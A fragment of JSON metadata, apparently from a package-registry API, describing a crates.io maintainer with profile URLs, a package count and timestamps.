Birr-Pixton","email":null,"url":"https://github.com/ctz","packages_count":18,"html_url":"https://crates.io/users/ctz","role":null,"created_at":"2022-11-08T00:36:56.267Z","updated_at":"2022-11-08T00:36:56.267Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/maintainers/ctz/packages"}]}